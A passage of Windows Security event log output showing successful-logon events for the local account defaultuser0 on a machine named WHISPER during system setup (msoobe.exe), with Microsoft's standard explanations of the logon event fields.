Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER
Logon ID: 0x16DC9
Linked Logon ID: 0x16E69
Network Account Name: -
Network Account Domain: -
Logon GUID: {00000000-0000-0000-0000-000000000000}

Process Information:
Process ID: 0x604
Process Name: C:\Windows\System32\oobe\msoobe.exe

Network Information:
Workstation Name: WHISPER
Source Network Address: -
Source Port: -

Detailed Authentication Information:
Logon Process: Advapi
Authentication Package: Negotiate
Transited Services: -
Package Name (NTLM only): -
Key Length: 0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
- Transited services indicate which intermediate services have participated in this logon request.
- Package name indicates which sub-protocol was used among the NTLM protocols.
- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.

Event[13]
An account was successfully logged on.

Subject:
Security ID: S-1-5-18
Account Name: WHISPER$
Account Domain: WORKGROUP
Logon ID: 0x3E7

Logon Information:
Logon Type: 2
Restricted Admin Mode: -
Remote Credential Guard:-
Virtual Account: No
Elevated Token: No

Impersonation Level: Impersonation

New Logon:
Security ID: S-1-5-21-197523953-1369290436-2466060359-1000
Account Name: defaultuser0
Account Domain: WHISPER
Logon ID: 0x16E69
Linked Logon ID: 0x16DC9
Network Account Name: -
Network Account Domain: -
Logon GUID: {00000000-0000-0000-0000-000000000000}